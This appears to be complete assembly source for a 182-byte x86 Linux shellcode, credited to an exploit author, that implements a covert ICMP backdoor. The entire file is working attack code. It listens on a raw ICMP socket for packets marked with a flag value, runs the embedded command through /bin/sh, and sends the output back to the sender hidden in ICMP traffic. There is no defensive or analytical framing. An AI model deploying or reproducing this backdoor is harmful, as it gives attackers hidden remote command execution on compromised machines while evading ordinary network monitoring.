;
; Copyright (c) 2007 by <mu-b@digit-labs.org>
;
; 182-byte raw-socket ICMP shell - (x86-lnx)
; by mu-b - Nov 2006
;
; icmp with identifier __flag_byte and commands in the
; following format:-
;       "/bin/sh\x00-c\x00<command here>\x00"
;

%define zero_reg        esi
%define sock_reg        edi
%define __flag_byte     6996h

global _shell

_shell:
  xor   zero_reg, zero_reg
  mov   ebp, esp

  ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
_socket:
  lea   ebx, [zero_reg+3]
  push  byte 1
  push  ebx
  dec   ebx
  push  ebx
  dec   ebx
  mov   ecx, esp
  lea   eax, [zero_reg+66h]
  int   80h                 ; socket();
  mov   sock_reg, eax

  ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1);
_setsockopt:
  push  ebx
  push  esp
  push  byte 3h
  push  zero_reg
  push  sock_reg
  mov   ecx, esp
  mov   bl, byte 0eh
  mov   al, byte 66h
  int   80h                 ; setsocketopt();

  ; while(1)
_while_loop:
  ; read(sockfd, cmd, 255);
  cdq
  dec   byte dl
  mov   ecx, ebp
  mov   ebx, sock_reg
  lea   eax, [zero_reg+3]
  int   80h                 ; read();

  lea   ebx, [ebp+24]
  xor   [ebx], word __flag_byte
  jne   short _while_loop

  ; pipe(pp)
  lea   ebx, [ebp-8]
  mov   al, byte 2ah
  int   80h                 ; pipe();

  ; fork()
  mov   al, byte 2h
  int   80h                 ; fork();
  test  eax, eax
  jz    short _child

_parent:
  ; close(pp[1])
  mov   ebx, [ebp-4]
  lea   eax, [zero_reg+6]
  int   80h                 ; close();

_parent_read:
.1:
  ; read(pp[0], cmd, bytes_left);
  ; edx == 255
  lea   ecx, [ebp+28]
  mov   ebx, [ebp-8]
  mov   al, byte 3h
  int   80h                 ; read();
  test  eax, eax
  jl    _while_loop

  mov   al, byte 6h
  int   80h                 ; close();

.2:
  ; fix up ttl (optional?! make sure its high!)
  ; mov	  [ebp+8], byte 0ffh

  ; switch ip's
  mov   ecx, [ebp+12]
  xchg  [ebp+16], ecx
  mov   [ebp+12], ecx

  ; set icmp type to echo reply (optional?!)
  ; mov   edx, zero_reg
  ; mov   byte [ebp+20], dl

  ; struct sockaddr *
  push  zero_reg
  push  zero_reg
  push  dword [ebp+16]
  push  byte 2

  ; sendto(sockfd, cmd, 255, 0, ...);
  mov   ecx, esp
  push  byte 16
  push  ecx
  push  zero_reg
  mov   dl, byte 0ffh
  push  edx
  push  ebp
  push  sock_reg
  mov   ecx, esp
  mov   bl, 0bh
  mov   al, 66h
  int   80h                 ; sendto();

  cdq
  mov   ecx, ebp
  mov   ebx, zero_reg
  mov   al, 72h
  int   80h                 ; wait();

  jmp   short _while_loop

_child:
  ; close(pp[0])
  mov   ebx, [ebp-8]
  mov   al, byte 6h
  int   80h                 ; close();

  ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2);
  lea   ecx, [zero_reg+3]
  ; pp[1] == pp[0]+1
  inc   ebx

.1:
  dec   ecx
  mov   al, byte 3fh
  int   80h                 ; dup2();
  jnz   .1

  ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0);
  push  zero_reg
  lea   ebx, [ebp+39]
  push  ebx
  sub   ebx, byte 3
  push  ebx
  sub   ebx, byte 8
  push  ebx
  mov   ecx, esp
  cdq
  mov   al, byte 0bh
  int   80h                 ; execve();
